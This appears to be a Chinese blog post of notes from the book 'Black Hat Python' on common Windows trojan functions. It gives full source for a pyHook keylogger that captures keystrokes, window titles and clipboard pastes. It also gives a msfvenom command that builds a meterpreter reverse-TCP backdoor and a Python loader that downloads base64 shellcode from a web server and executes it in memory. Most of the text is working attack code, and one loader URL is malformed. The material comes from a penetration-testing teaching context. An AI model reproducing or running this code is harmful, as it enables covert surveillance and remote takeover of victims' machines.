《Python黑帽子:黑客与渗透测试编程之道》 Windows下木马的常用功能

时间:2021-02-02 18:11:46

有趣的键盘记录

#coding=utf-8
from ctypes import *
import pythoncom
import pyHook
import win32clipboard user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None def get_current_process():
#获得前台窗口的句柄
hwnd = user32.GetForegroundWindow() #获得进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid)) #保存当前的进程ID
process_id = "%d"%pid.value #申请内存
executable = create_string_buffer("\x00"*512) h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #读取窗口标题
window_title = create_string_buffer("\x00"*512)
length = user32.GetWindowTextA(hwnd,byref(window_title),512) #输出进程相关的信息
print("[ PID: %s - %s - %s ]"%(process_id,executable.value,window_title.value)) #关闭句柄
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process) def KeyStroke(event):
global current_window #检测目标是否切换了窗口
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process() #检测按键是否为常规按键(非组合键等)
if event.Ascii > 32 and event.Ascii <127:
print chr(event.Ascii)
else:
#如果是输入为[Ctrl-V],则获得剪切板的内容
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard() print "[PASTE] - %s"%(pasted_value),
else:
print "[%s]"%event.Key, #返回直到下一个钩子事件被触发
return True #创建和注册钩子函数管理器
k1 = pyHook.HookManager()
k1.KeyDown = KeyStroke #注册键盘记录的钩子,然后永久执行
k1.HookKeyboard()
pythoncom.PumpMessages()

Python的shellcode执行

先在Kali Linux中生成32位Windows的后门shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.160 LPORT=1234 -f raw -o win_backdoor.raw 

接着开启Metasploit进行监听反弹的shell,将shellcode进行base64编码并利用SimpleHTTPServer模块将/tmp目录作为Web服务根目录并建立Web服务器:

base64 -i win_backdoor.raw > shellcode.bin
python -m SimpleHTTPServer

最后,运行一下代码即可:

#coding=utf-8
import urllib2
import ctypes
import base64
#从我们的Web服务器上下载shellcode
url = "http://192.1681.10:8000/shellcode.bin"
response = urllib2.urlopen(url)
#base64解码shellcode
shellcode = base64.b64decode(response.read())
#申请内存空间
shellcode_buffer = ctypes.create_string_buffer(shellcode,len(shellcode))
#创建shellcode的函数指针
shellcode_func = ctypes.cast(shellcode_buffer,ctypes.CFUNCTYPE(ctypes.c_void_p))
#执行shellcode
shellcode_func()

即可完成远程下载并加载shellcode上线